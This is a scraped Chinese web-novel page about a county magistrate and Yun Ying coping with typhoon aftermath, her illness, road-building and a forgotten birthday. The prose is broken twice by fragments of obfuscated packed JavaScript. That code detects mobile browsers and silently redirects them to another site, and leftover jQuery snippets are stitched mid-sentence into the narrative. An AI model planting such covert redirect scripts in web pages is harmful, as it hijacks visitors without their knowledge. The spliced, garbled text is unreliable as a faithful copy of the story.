不单是二爷,包括县衙中的差役,以及那众多的,聚集在各家各府门中的百姓们,也在第四天出了门。 可是,入目一片汪洋,到处都是废墟。 房屋不见了,树木被连根拔了起来,街面上的水足到成人腰间那么深。里边有各种惨死的蛇鼠虫蚁,有各种秽物家当,甚至还有被砸死淹死的百姓尸体。 百姓们顶着暴雨,要回家去看一看,就被众人七手八脚的往回拉。 可是,百姓惦记的事情太多了,他们担心自家的房屋,担心田地里的庄稼,甚至还担心被放在地窖中的鸡鸭。 有人来阻拦,但是想离去的人太多太多。能拦得住一个,拦不住更多,于是,渐渐地也没人再阻拦了。 街上很快出现许多人蹚着水往前奔的场景,不久后,又传来这些人声嘶力竭的惨叫声、嚎哭声。 云莺呆在前院,这边距离街道很近,外边的嚎哭她全听在耳里。 都不用出去看,云莺都知道外边现在是什么惨状。 但是,有什么办法呢? 这是天灾啊,老天爷降下的灾祸,又岂是区区凡人可以抗衡应对的。 损失惨重是绝对会有的,但是,只要人活着,一切都还有希望。 心里这么想,云莺的眼圈却不受控制的红了起来。 她眼角沁出了泪,怕被小丫鬟们看见,再惹得他们惊慌,她便忙将手捂上去,用帕子擦干净严重的水渍。 但即便如此,她这副模样也被穗儿看在了眼中。 穗儿说,“姑娘您别伤心了,这次已经好多了。虽然损失了钱财和庄稼,最起码保住了命。” 柳儿也说,“不都说留得青山在,不怕没柴烧么?他们人活着,又有二爷这么有能力的主官,日子总会好起来的。” 云莺想笑一下,但太难了。她终究只是艰难的扯了扯嘴角,“话是这么说,可一辈子的心血全都化作齑粉,甚至就连这一季的庄稼都颗粒无收,百姓们这个冬天该怎么熬?” 这话一出,穗儿和柳儿都静了下来。 穗儿许是一直在强忍着,这时候就忍不住落起泪来。 云莺和柳儿看向她,穗儿哭着说,“我担心我爹娘和婆婆公公。他们不知道躲好了没有,不知道有没有受伤。还有我家的晚稻,插秧的时候我婆婆腿脚都没好利索,就一道跟着下地干活了,可最后晚稻却落得这么个场景,我婆婆指定哭坏了。” 穗儿越哭越厉害,许是听到了她的哭声,旁边厢房中的小丫鬟们也跟着啜泣起来。 但是,哭是最没有用的事情。与其浪费了这精力,不如养足了精神,想想自己能为家里做些什么。 云莺就说,“好了,不哭了。等雨停了,我放你几天假,让你回去看看你父母和公公婆婆可好?” “姑娘的花可是真的?” “这么点小事,我岂会拿来骗你?好了,快去洗洗脸吧,瞧你哭的,脸都皱了。” 这一天雨水还有些大,但之后几天,雨水越来越小,百姓们早就在县衙呆不住了,俱都跑回了自己家中。 于是,接下来几天时间,街上到处都是嚎哭声,到处都是办丧事的人家。 街上的水一点点退去了,但是这场飓风在人们心中留下的阴影,却需要几年,甚至十几、几十年的时间去消化、磨灭。 天气再次变得炽热时,云莺忙得脚不沾地,二爷更是自飓风第四日出门后,就再没回过府上。 云莺接了在城门口施粥施药的活儿,天天从早忙到晚。 因为一天到晚就守在城门口,云莺见到的灾民很多很多。 从这些灾民口中,云莺知道这次的飓风过境,到底给云归县造成了多大损失。 庄稼还略好些,因为这时候正是庄稼生长的时候,不是收割期,更不是孕穗儿期。那些禾苗虽然被泡的时间长了,会导致烂根和畸形穗儿,粮食产量也会大幅度减产,但还不到颗粒无收的程度。 只要将田里的水及时排出去,总能有些收成。虽然微乎其微,但有总比没有好。 庄稼这样还不算最惨,最惨的是一些专门养殖鱼虾和螃蟹的商人,一年辛苦全都打了水漂。 那些鱼虾螃蟹因为河水不断上涨,全都跑光了,河塘中别说鱼虾螃蟹了,却是连只鱼苗虾苗都不见了。 再有家中的一些牲口。 因为之前去往那些富户家中借住时,为了能够腾出更大恶空间给百姓,家畜牲口这些事不允许携带的。 这些牲口被主人藏在山中,藏在地窖或房屋中。原本以为或许能侥幸留的一命,但是,侥幸根本不存在,那些家畜家禽全都死干净了。 还有些村镇一些百姓家,因为没有乡绅富户可以借靠,又找不到容身的山洞 ,就举家留在家中艰难度日。随着房屋倒塌,他们或是直接被砸死了,或是受了伤,却因为缺医少药,也没熬过去。 听人说,村镇上的百姓十户活不过五户。 即便他们都修缮恶劣房屋,做足了完全的准备。但这次的飓风实在要厉害了,甚至远超过这十年内过境的诸多飓风。 现状过于凄惨,只是简单听一听,都让人感到窒息。 但云莺还不能歇下来,二爷更不能歇下来。 云莺要忙着施粥散药,安顿受伤逃命的百姓,二爷则要拯救伤员,排出田地积水,组织水坝泄洪,外加延请名医,防止可能会有的瘟疫。 接下来一个月,日子就是在这样的忙碌中过去的。 期间云莺染上了风寒烧热,烧的浑身红通通的,人都站不起身。她以为自己是染上了瘟疫,吓得整个人不住瑟缩发抖,好在曲大夫诊过脉说,只是太劳累生了病。 也是这一天,云莺见到了阔别二十多天的二爷。 陡然看到二爷,云莺差点认不出眼前的男人究竟是谁。 二爷整个人瘦了一大圈,顝骨都露出来了。他身上的外衫之前还非常得体合身,可此时穿在他身上,却空荡荡的,好似那外衫里边,只剩下一副枯骨似的。 二爷身上的衣衫也满是褶皱和污泥,甚至看不出原本的颜色了。 这哪里还是哪个朗月风清,矜贵雍容的世家子陈宴洲,他彻底成了那个为民请命,把百姓的荣辱富贵系与一身的云归县县令。 二爷嗓子哑的不像话,容色也憔悴疲惫的厉害。但看见云莺眼角泣出泪珠来,他仍是笑着打趣她,“怎么,看见我太高兴了,都哭出来了。” 云莺却没笑,眼角的泪反倒愈发多了。 她的眼睛像一汪源源不断的清泉,就这般不断地往外溢出泪珠来。二爷从一开始的镇定,渐渐变得慌乱,直至手足无措。 他想在云莺床畔坐下来,但是身上太脏了,他人也臭了,他怕她嫌弃。 二爷终是在云莺的窗前蹲下来,试探着摸了摸她额头上的体温,“怎么还这么烫,不是已经喝过药了?” 二爷回首看向门外,喊穗儿和柳儿进来。 云莺一把抓住他的手,阻拦他说,“别喊了,我没事儿。已经开始降温了,我现在感觉好了许多。” “哪里好了?你脸还红通通的。” “我真的吃了药的,药也已经起效了。但那也不是神药,总不能服下后立马治愈我的病。二爷别太担心了,我真的好了许多。” 二爷攥住了她的手,看着她像朵干枯的花朵似的,再不复之前的明丽。他嗓子里像是堵了一团棉花,此时才敢将自己的心里话说出来。 “如何能不担心?若不是因为我,你大可以在府里呆着,安安生生过你的小日子。哪至于没白天没黑夜的守着,既要应付城门口的施粥施药,还要安置逃难来的妇孺儿童。你不应该受这个罪的,全是因为我……” “可那是我想做的,也是我愿意做的。二爷,即便你不吩咐我这些,但只要我有余力,我也想用一份力,去帮衬那些落难的百姓。我不仅不觉得苦,反倒觉得这事情挺有意义的,总归,比让我呆在后院里,整天就忙着府里这点鸡毛蒜皮的小事儿,有意义多了。”< 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曲大夫颔首,“确实身子骨太差了。云莺姑娘该是在胎里就没养好,之后没得到及时治疗,反倒缺衣少食,身子才愈发败坏。” 胎里的毛病自来就难治,若是生在好人家,每天精心的养育着,这么些年下来,云莺这身体就养得和正常人差不多了。 可很显然,云莺的原生家庭没这条件,若不然,也不能把好好的女儿送来与人做妾。 家中没条件,云莺着身子自然养不好。虽然外表看起来她与常人无异,但抵抗力终究差一些。 这也是她隔三差五就要病上一场,还总是感觉身体劳累的原因。 二爷闻言,面上没有露出丝毫异样的神色,可见对于此事他心中早有考量。 但既然已经发现了此事,就不能不治。 二爷说,“还要劳烦您开些日常进补的药方,不拘是药补,还 是食补,只要对她身体有助益,便都可开来。” 曲大夫明白的点点头,“老夫知道了,这就开药方来。只是大人也知道,这进补也不是一时半刻就能补上来的,兴许三五年,兴许七八年……” “无碍,只管开药方来。” “唉,那老夫就开方去了。” 曲大夫下去了,二爷出了云莺的院子,往县衙去了一趟。 县丞刘颂云与主簿楼永淳都在县衙中,核算着朝廷给与的赈灾粮食,到时该如何发放。此时听见有人给二爷请安,他们忙抬起头看,果不其然,就看到了他们那位整天忙得不见踪影的县令大人。 两人赶紧从桌案后绕出来,恭敬的给二爷见礼。 二爷见两人扶起,询问了赈灾粮如今运到何处等问题,最后,才交代说,“赈灾一事交予颂云处置,至于永淳,你腾出手来,继续跟进云归县治下百姓的补种事宜。” 不管是刘颂云还是楼永淳,都讶异的看向了二爷。 与二爷共事多半年,两人将这位大人的性情摸得八九不离十。说好听点叫事必躬亲,说的不好听了,叫掌控欲非常强。就恨不能所有事情都自己经手才放心。可如今大人这意思……是要放权不成? 两人的眸中俱都露出狐疑的神色,但根本没等他们细究,二爷又吩咐了楼永淳几句别的什么,随即也不用两个人送,转身就出了县衙。 等二爷走远,刘颂云和楼永淳一道叫了外边一个消息灵通的差役过来,“大人行色匆匆,可是有别的事情发生了?” “大人不是正在外边巡视补种情况,怎么突然回来了?” 差役摸摸脑袋,也不清楚这个问题。但忽而他想起被墨雪送出门的曲大夫,忍不住一拍巴掌,“哎呦,我想起来了。” 刘颂云与楼永淳齐齐问道,“如何?” 差役说,“好似是府里的那位起了烧热,人都不认识了。听说烧的挺厉害,大人应该是被惊动了,才匆匆跑了回来。” 闻言,楼永淳于刘颂云再次对视一眼,心中闪过明悟。 想来应该就是如此了。 若不是那位姑娘惹了病,大人何至于匆匆回来,又如何会连外边的事儿都不管了,行色匆匆就回后院去了。 想来,一切全是因为那位云莺姑娘啊。 第125章 再启程 云莺这场病起的急,退的却慢。 足足过了十天时间,云莺才感觉身体松快了些,才被二爷允许起身在院子里走一走。 漫步走到阳光明媚的院子中,云莺感觉天是那么高远湛蓝,树是那么苍翠碧绿,花花草草鲜艳夺目,就连来来回回在院子里打扫的丫鬟婆子,面目都那么和善。 云莺感觉自己身体已经康复,加上她被关在屋里的时间实在太长了,就想多在院子里呆一呆。 然而,她不过绕着院子走了三圈,就被穗儿和柳儿搀扶着回了屋子。 穗儿和柳儿是这样说的,“您身体刚好,最好不要太劳累。” “要循序渐进啊姑娘,不然再累坏了您,回头二爷知道要罚我们的。” 云莺有些不乐意。 她又不是笼中鸟,那能一直把她关在屋子里。 虽然她也知道,二爷这么做全是为她好。但也不得不说,二爷这次有些过分谨慎了。 她身体虚是虚了点,孱弱也是真孱弱,但那就至于让她一直躺在床上呢? 云莺说,“你们俩都不说,二爷哪里会知道?” “姑娘,你怕是忘记了我门现在还在二爷院子里住着。这是二爷的院子啊,二爷但凡回府,指定会来看您。二爷若是询问您今天的情况,您觉得是我和柳儿敢在二爷面前说假话,还是这院子的丫鬟婆子敢隐瞒欺骗二爷?” 云莺闻言,眼睛一闪,她还真忘了这件事。 云莺是飓风来临之前搬进了二爷的院子,搬进来后,她之前住的院子又被塞了许多百姓。 飓风来临那几天,百姓们的吃喝拉撒全在一个屋里,想也知道屋子会有多埋汰。 云莺的床被人躺了,铺盖被人用了,没来得及带走的衣衫被人拿出来穿了。这些都不算,就连屋里的墙壁上,院子的角落中,都多了许多秽物。 飓风刚过去时,云莺那时候还没被二爷安排差事。她首先做的第一件事,就是检查县衙的房屋等损坏的程度,随后又让人登记各院子里丢失的东西。 这些事情交给下人处置,云莺则去了自己院子……然后她就再不想回去了。 正在云莺恼恨的想将院子推倒重建,亦或者重新选一处相对干净的院子居住时,二爷给她派来了差事。 那一个月,云莺不是在城门口施粥施药,就是在慈幼局安置投奔过来的灾民。 ——二爷在这个关头,大量吸收流民。 云归县因灾死伤的百姓,不敢说在整个岭南府是最少的,但和周边几个县城相比,云归县的情况绝对是最可控的。百姓到了这里,只要肯下力气,最起码能讨一碗饭吃,不至于被饿死。 又因为二爷鼓励流民开荒,且承诺只要开出三亩荒田,百姓就可定居在云归县,如此,前来投奔的百姓非常非常多。 云莺每天忙的脚不沾地,也就没时间想搬院子的事情了。 况且二爷将近一个月没回府,云莺自己住在前院中,全然没有寄人篱下的感觉,她也就渐渐忘了,这院子不是她的,她不能一直住,有空了得搬走。 如今被穗儿和柳儿提醒,搬院子的想法再次在脑海中扎根。 不说懊恼的琢磨着,该搬到那个院子去,只说她再是不情愿,可身体毕竟虚弱着,云莺到底是在穗儿和柳儿的搀扶下回了房间。 也就是云莺刚在房间的凳子上坐下来,外边倏然传来了动静。 柳儿往门口一瞅,随即急慌慌跑来说,“二爷回来了。” “回来了?今天怎么这么早?” 自云莺病倒,二爷出去的时间就少了。美其名曰外边的事情范县丞与楼主簿接手了,二爷心安理得得给自己放了两天假。 两天时间,云莺退了烧,二爷又忙了起来。 不过这次被比之之前好多了。 之前二爷是去了云归县治下的村镇,一去就是一个多月,中间都不带回来的。如今倒好,虽然依旧每天外出,好在是在城中,且天黑前总能回府。 只是现在还不到午膳时间,二爷这个时候就回来,难不成是出了什么棘手的事情? 云莺站起身,往外走几步。 穗儿连忙阻拦,“姑娘,您刚走了不少路,坐下歇歇吧。” “不妨事,我就是看看……” 云莺话没落音,就感觉眼前落下一道阴影,屋里似乎都暗了许多。 二爷问,“你想去哪里看看?” 二爷玉面金冠,穿着一身青色的直缀,腰间束着巴掌宽的玉带,脚上一双黑色的官靴,就这般掀开帘子直接走进了屋子里。 十月的云归县已经没那么热了,但二爷明明穿的是一身夏衫,额头上竟还冒出细细密密的汗珠来。 二爷肤色冷白,即便在云归县两年频频往下边村庄跑,他也没被晒黑。只是这段时间着实累的很了,他整个人瘦了许多。连带着面部的线条都锋利起来,冷着脸看人的时候,威慑感更胜从前。 但云莺如今与二爷已经很熟很熟了,二爷即便冷着脸,她也不怕他。更何况二爷只是习惯性的做出蹙眉的动作来,又没有故意吓她。 云莺往后退了一步,让出地方给二爷进来。 屋里穗儿和柳儿见到二爷,赶紧见了礼,然后匆匆走了出去。 她们也是有眼色的,姑娘和二爷在一处时,她们能不出现就不出现,不然,二爷的眼神总那么不善。 丫鬟们都离开了,云莺与二爷坐在圆桌前,云莺亲自拿起水壶给二爷斟茶。 二爷将方才的问题又重复一遍,云莺闻言笑着回说,“我还能去哪儿看看?我如今连个院门都出不去,在外边走两圈,丫鬟们就如临大敌,好似我跑了几笔圈似的。我还去哪里?我能去哪里?不过就是听小丫鬟们说你回来了,准备出去看两眼。” 二爷眸中染上笑意,唇角也勾勒起来。 但他察觉到云莺哀怨的目光,又赶紧拉平了唇角。只是心中到底高兴,眸中就抑制不住的流露出几分愉悦来。 “你今天在院子里转悠了?不是我不让你出门,也不是丫鬟们管着不让你活动量太大,是因为你身子还没养回来。” “我感觉已经好多了。” “那是你感觉,事实上,你的面色比之前还是差了些,还是要多养养。” 云莺睨了二爷一眼,“你以为养猪呢?” 二爷直接笑出声来了,“这怎么能是养猪呢?” “不是养猪是什么?我走两圈丫鬟们都不肯,你也不让我多活动。我每天吃了睡,睡了吃,你说这不是养猪是什么?” 二爷抑制不住哈哈笑起来,云莺怒了,“你还笑。” 二爷笑着说,“你这绝对是想多了,事实上……” “事实上什么?” 二爷忙摆手,“没什么没什么。”实际上二爷想说,哪里有这么好看的猪?若是有,他高低得在府里养两只,可惜,世上只这一个云莺。 云莺与二爷打了几句机锋,成功给自己争取到早晚在院子里散步的待遇。 两人又聊起来二爷忙碌的事情。 二爷如今主要在忙的,还是修路。 没错,中间隔了一个多月,修路的事情再次被搬上了日程。 之前也不是二爷不想修,二爷可太想修了。毕竟修了路才好挖矿,挖了矿才好分成,分成之后荷包鼓起来,二爷才能做许多早就想做,而一直没做成的事儿。 可惜,飓风过境造成的现状太惨烈。 百姓家的房屋塌了,人员伤亡了,地里的庄稼几乎死绝了……所有这一切的发生,都导致百姓家中的主心骨,也就是男壮丁根本无暇出来做工。 这还不算,又因为飓风之后发生了许多次生灾害。有的地区滑坡了,有的泥石流了,再不济就是小范围内,地势低一些的村落被淹没了。 这桩桩件件,每一件都涉及到人命。 在人命面前,不管是挖金矿银矿,都得往后推。 更有距离云归县不远的莲花县,发生了大规模的痢疾。二爷为防万一,将云归县封了城。如此,好不容易熬到姚大夫寻到治疗痢疾的妙方,解除了莲花县对周围几县的威胁,时间已经过去了一个多月。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14616657|156155||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 二爷之前给章知府说的是,在年底之前,务必保证第一批矿产被挖出来送出去。也就是说,要保证矿藏上已经开工,陆续进入盈利模式。 现如今已经进十月了,再不修路别说挖矿了,怕是到年底之前,从州府到云归县,再从云归县到屋头山的路都修不通,那二爷还如何给上边交代? 压力太大,二爷不得不亲自盯着修路的事宜继续开动。 好的一点是,他前段时间吸纳了大批流民,如今只要保证这些了流民的一日两餐,修路的事情应该会进行的很顺利。 二爷与云莺说着,如今县城的路已经修好了,正集中全力往屋头山修。说着说着,二爷突然笑道,“上年答应过你,说是要在今年之前将县城的路修了,这点我倒是做到了。只是,我之前是不是还承诺你,要把这县城周边的路也修了?” “您说过,但那个也不急。挖矿的事儿不能耽搁,如今凡事都得给那边让路。至于县城周边的道路,年后再修也不晚。左右等开春后那两个月,百姓正好闲暇,想来届时做工的人会多上许多。” 人多了,路就修的快了。 再说句不好听的,即便明年春天修不好,难道年末还修不好? 即便真修不好,对云莺来说也没太大妨碍因为如今需要她出去的时候越来越少。再来,她都准备学骑马了。 为何学骑马? 因为云莺觉得在这时代,还是要多学本事。 技多不压身啊。 想想在飓风登陆时,二爷还在外头视察,那时候,二爷仗的可不是自己那身好骑术? 骑术好,关键时候策马狂奔,想回县衙也就是片刻工夫的事儿。 反之,就像是县城中,那唯独一家典当行的少东家。 那少东家和云归县治下一个村落里的小寡妇勾勾搭搭,飓风来临时小寡妇留宿,少东家担心那茅草屋坍塌,硬是乘坐自家马车回返县城。 结果走到半路,闪电齐鸣,瓢泼大雨,外加施虐搬的狂风,几样齐下,吓得马儿嘶鸣狂躁,也不看路了,埋头就往山野里奔。 最后马儿撞到树,可得头破血流才停下来,可没了马,又是前不着村后 不着店的地方,那少东家求助无门,最后只能顶着风雨,摸索着走了五里路,才寻到最近的人家。 结果那家也是茅草屋,还在飓风中坍塌了。一家子好命倒是没被砸死,也侥幸引起了村里人的主意,把他们救了出去。可因为没药材治疗,最后大多落下了病根。 那少东家更惨,听说是腿被砸断了,又因为延误了治疗时机,直接瘸了…… 事儿就是这么个事儿。 虽说那少东家即便学会了驭马,也不见得后果会好到那里,但最起码,学会了驭马与马儿联系就更紧密了一些,指不定当时能安抚好马儿躁乱的情绪,在情况更危险之前,被马儿带回城。 说一千道一万,也都是放马后炮。 不过这事儿倒是让云莺觉得,学骑马可以提上日程了,指不定那一天就派上用场了呢。 云莺这么想着,就跟二爷说,借个人教她骑马。 二爷楞在原地,不知道话题怎么突然从修路,转到了学骑马上。 虽然这都是小事儿,她开口了,他指定会派人教,更可能是他亲自教导。但她陡然将话题跳跃到这上头,也是让二爷百思不得其解。 二爷询问缘由,云莺看了他好几眼,到底是别别扭扭的将事情说了。 二爷当时的表情:…… 不怪二爷无语,实在是这云归县的治安风化,实在是让人伤脑海。 就这已经好多了。 盖因为他之前砍了范县丞的头,又将李主簿发配,更是将赵雄、吴世勋等人斩首示众,很是树立了自己的威信。 不然换做他初来云归县时就开始修路,你试试你前脚把砂石木材之类的东西送过去,一晚上时间能不能给你偷干净。 那都是不用想的事情。 可即便如今情况好转许多,这云归县的治安风化,也多有让人诟病之处,急需治理。 第126章 不搬了 说过了云归县的治安风化,云莺陡然想起自己还有件要紧的事情没有说。 她连忙与二爷提起了她要搬走的事情。 二爷安逸带笑的神情陡然一顿,眉头都拧起来了。 “你说你要搬走?可是这院子住的不舒坦,还是说,谁在你面前说什么闲话了?” 二爷眉头上挑,眼神微眯,面上的表情紧绷,整个英挺俊美的面孔上,都带着几分不善。 云莺见到这样的二爷,方才提及搬走时,心里那点点落寞顿时消失无踪了。 她忍不住露出个笑模样来,一双杏眼弯成好看的月牙状。 “不是这院子住的不舒坦,也不是谁在我面前说闲话了。这是二爷的院子啊,我当时带着丫鬟住进来,是因为事态紧急,当时没办法顾忌这些。可如今飓风都过去了,我若还赖在二爷这里不搬走,那不妥当。” 二爷想说,这有什么不妥当? 他们之间的关系,是云莺搬走了就能撇清的么? 在外人看来,云莺是他的宠妾,是他的贤内助,是可以名正言顺、全全处理后宅所有事宜的女人。 不仅外边人这么看,就是后宅中这些丫鬟婆子,还不都把云莺当做是他的枕边人。 他们住一个院子才是正常的,分开住,别人反倒要多出许多猜想。 这些话就在二爷嘴边,二爷张口就能说出来。 可二爷到底没有说。 因为事实如何,他与云莺一清二楚。 他们不是那样的关系,即便彼此有意,却又碍于他已娶妻的身份,彼此克制着。 二爷思量许久,沉沉的看了云莺许久,看的云莺垂下脑袋,神思不属将帕子都快揉烂了,二爷才吐口说,“你若真想搬走,也可以。” “真的?” “我什么时候骗过你?” 二爷端起茶盏,又喝了半杯茶,继而才继续说,“只是你之前住的院子,被糟蹋的厉害,想必米住起来也不舒坦。既如此,你便选了别的院子来住。” “可是别的院子……” 云莺拧着眉头,一脸为难。 “如何?” 云莺看看二爷,想说别的院子也不怎么样啊。 都是住过许多人的,条件所限,每个院子都被埋汰的不成样子。 她还都视察过,对于那院子被糟蹋的惨状铭记于心。 至今回忆起那一帧帧画面,她都忍不住犯恶心。 虽然那些院子她早就派人仔细清理打扫了一遍,该还的东西也都换过了,可拜她记忆太好所赐,她真觉得那些院子她完全下不去脚。 云莺面上露出男色,二爷仔细看着她,也不催促她,就静静的等她说出为难的地方。 可云莺许久都没说,二爷忍不住了,便道,“可是那些院子被糟蹋的不成样子,你心里忌讳?” 云莺侧过身去,窘迫的“嗯”了一声。 “那你的意思……是把那院子推到了重建,还是说,你先住我这院子,我搬到那些院子里去住?” 云莺闻言嗔了二爷一眼,听听这话说的,像话么? 推倒重建不要钱么? 如今正是用钱的紧要关头,金矿没挖出来,又要安置流民,二爷把他的小金库全都拿出来了。就连云莺,她见二爷捉襟见肘,也拿出来她卖首饰的钱,以及得到的章知府的赏赐,还有茶山的赔偿银子。 这么多银子,加起来好几千两,二爷拿走了一半,剩余那一半依旧塞给云莺。 二爷还给她打了欠条,还承诺届时衙门会按照世面上的利息,连本带息一道还给她。 若不是难到一定程度了,二爷会用她银子? 可既然用了,就表明二爷现在真是穷到一定地步了。 二爷都穷得叮当响了,她还能忍心让二爷出钱修院子吗? 二爷不拿钱出来重建院子,她舍得出这笔钱么? 云莺想想,她非常不愿意。 就不会说多的,只说只将她的院子推倒重建,那都不是个小数目。百十两银子指定是要的,再要挑些新家具进去,零零种种一算,要好花多钱。 有这钱,她再买点田地铺子屯着不好么?作甚还要建房子,建好了指不定能住几年呢。 建房肯定不划算,让二爷搬走她住前院更不现实。 云莺挠头了,想不出个妥善的解决办法。 二爷见她不知如何是好,就提建议说,“你看这样好不好,你先不用搬,就在这院子里住着。左右我之后要更忙一些,怕是回府的机会都少。你先安心住着,等金矿挖出来,县衙分了成有了余银,我将我那部分银子拿回来,到时候我将你那院子推到重建。” 云莺看看二爷,“这样是不是不太好?” 二爷睨她,“要不然你出钱重建?” 云莺赶紧捂住了自己的荷包,头摇的拨浪鼓一般,“我没钱……我舍不得出这个钱,感觉好浪费。” “那我出这个钱,你就不感觉浪费了?” 那肯定也很浪费啊。 但是,二爷不是财大气粗么? 花的不是自己的银子,她就不怎么心疼,但花二爷银子,她多少也是心疼的。 左右距离二爷重新富起来,还有好些日子,那院子究竟要不要重建,且再考量考量。 “那你还继续住我这里?”二爷问。 云莺颔首,点头点到一半,又问二爷,“可以么?” “可以是可以。只是……” “只是什么?” 二爷眸中含着几许笑意,轻声说,“只是你带进来的丫鬟婆子太多了,我嫌闹腾的慌。” “那我把她们都打发走?” 二爷本也不喜欢丫鬟婆子之流进他的院子,他近身伺候的人,更是只有随云四人。 可当初是害怕那些流民对院子里的丫鬟们动手,为防万一她才将人带进来。事后虽然打发走一批丫鬟婆子回归她们自己的院子,但如今院子里也留了七八个。 云莺讪讪的摸摸鼻子,这么多人,确实挺闹腾的。 云莺看着二爷,等着二爷示下。 要按照二爷的意思,自然是一个也不留。但考虑到他过的糙点无妨,云莺为女子,没人伺候怕是多有不便。 二爷便道,“只留下你近身伺候的两个丫鬟,其余都撵回去,如此可好?” 那自然好,云莺忙点头同意了。 两人商定了这事儿,时间也到了午膳时候。 灶房准备好了午膳,小丫鬟去提了过来,云莺与二爷一道用了。 之后,二爷也不午休,再次出门去查看修路的进程,云莺则将院子里的丫鬟婆子们叫出来,打发他们回后院去。 把这件事做完,云莺感觉身体乏累,忙躺在美人榻上缓一缓。 穗儿和柳儿在她身边伺候着,两个丫鬟心不在焉的问,“姑娘,我们之后就住在二爷院子里,我们真不搬回去么?” 两个丫鬟面色平静,心中在歇斯底里的狂叫。 为什么要住在二爷院子里啊,他们的院子也很好啊。 后院清净,也没那么多破烂事儿,更不会见到许多人。他们想躺平歇一歇,也没人会说什么。 反之,住在二爷院中,别的不方便就不说了,只说每日都要见到二爷,她们会如临大敌、瑟瑟发抖,感觉整个人的精神时刻都是紧绷的,就,非常不利于她们的身心健康。 两个丫鬟眼巴巴看着云莺,希望从她口中听到一个反驳的话。 可惜,她们听到云莺说,“年前应该就住在这里了,至于明年,明年应该会搬,但具体何时搬,还不确定。” 好消息:会搬走。 坏消息:搬走的时间不确定。 穗儿和柳儿哭笑不得,所以,这到底是好消息还是坏消息。 不管是好消息还是坏消息,都不耽搁两丫头打起精神,以更加饱满的激情投入到忙碌中。 以后她们可就要在二爷眼皮子底下干活了,稍微懈怠点……呜呜,不敢不敢。以后她们一天忙十个时辰,只留两个时辰休息。她们还要擦脸眼睛,更有眼色一些,坚决不能碍了二爷的眼,阻拦二爷与姑娘亲近。 穗儿与柳儿何种心思且不说,只说云莺睡了一觉起来,陡然想起一件事。 二爷的生辰……< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14616658|156155||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 二爷的生辰在什么时候来着? 好似是九月,九月初六好像,可如今都十月上旬了啊啊啊!! 云莺心中念了几声罪过。 实在不怪她忽略了二爷的生辰,只怪飓风来的不是时候,把大家的注意力全都吸引走了。 这一个月来,她满脑袋都是飓风的事情,二爷的生辰早就被她忘到九霄云外去了。 云莺忙唤了灶娘过来,与她商量明日的菜单——今天肯定来不及了,眼瞅着天就黑了,这时候准备什么都晚了,只能等明天。 与灶娘说了一通,云莺又在屋里团团转起来。 给二爷送什么生辰礼好呢? 她最不会给人送礼了,感觉每次都送不到人心坎上。究竟要送什么呢?送什么呢? 穗儿和柳儿得知二爷的生辰被姑娘忘了,也跟着抓狂。 不过也没办法,那时候都想着活命的事情,谁还顾得上二爷的生辰啊。 可此时想起来,肯定得弥补一些,生辰礼也断断不能少。 穗儿提议说,“姑娘不如给二爷做个荷包,或是腰带?” 荷包荷腰带都是小件,赶赶工一天应该能做出来。但是…… 柳儿说,“先不说时间上来得及来不及,就说姑娘那手女工,这荷包荷玉带确定拿的出手么?” “那不如,给二爷送副姑娘亲手画的画?” 云莺忙摆手,“二爷的书画双绝,我那点水平,还是不在二爷面前献丑了。” 穗儿说:“可是……”可是姑娘上次给她们画的肖像画,明明就很逼真。姑娘若是画一张二爷的肖像画给二爷,指不定二爷会喜欢呢? 柳儿说,“不如姑娘亲自下厨,给二爷做碗寿面?” 云莺心一动,这个提议有点靠谱。 “只是,若只准备一碗寿面,是不是太简薄了?” “那姑娘觉得,再添点什么好?” 云莺和两个丫鬟一道想,到底该给二爷准备什么。可思来想去,也没想出个所以然,只能带着满腔郁闷,洗洗睡了。 因为心中有事儿,云莺翌日起了个大早。 倒是巧了,她推门出去时,二爷正好晨练完回到院子里。 今天天气阴沉沉的,还刮着丝丝凉风,风里携裹着海水的腥气与凉意,倒是有了几分秋天的气息。 云莺身上穿着白底靛蓝梅花竹叶刺绣领米黄色对襟褙子,下边配了一条葱绿色西番花锦裙。一身搭配素雅又带着几分暖意,衬得她一张芙蓉面更加玉白清透,整个人典雅昳丽。 云莺是很少穿这些暖色的,今天这一身暖色的搭配,让她整个人少了几分往日的清冷,多了些嫌少外露的温婉纤柔。 二爷看见这样的云莺,忍不住怔愣在当场。随即微微拧着眉头,朝云莺走过来。 “今天怎么起这么早?”二爷垂首问她,还想伸手摸摸云莺的面颊冷不冷,可众目睽睽之下,这个动作二爷到底没做出来。他只能压低声音,又问道,“晚上休息的不好么?” 顿了顿,二爷又说,“今天天有些凉,你多穿两件衣裳,别冻着。” 云莺笑了,她眉眼间漾开一丝韵色,整个人美的夺目生辉,“我知道的,二爷别担心。昨晚休息的也还行,可能这几天睡得多了,就不太想睡了,以至于早早就醒了。只是,二爷何时出去的,我却不知道。” 二爷通身冒着滚滚热气,一身黑色的束身衣全都湿透了。他头脸上的汗水,顺着面颊往下滑,滑过他棱角分明的下颌,又落到他胸前的衣裳上去,胸前背后一片暗沉沉的色泽。 这模样,指定锻炼了半个时辰以上,不能再少了。 云莺看着二爷身上的热气,再感觉下自己的手脚。她手脚都凉丝丝的,穿这么厚还这么冷,她和二爷好似过的不是一个季节。 心里这么想,云莺却催促二爷赶紧洗漱换衣裳去。 穿着湿衣裳,别受凉感冒了。 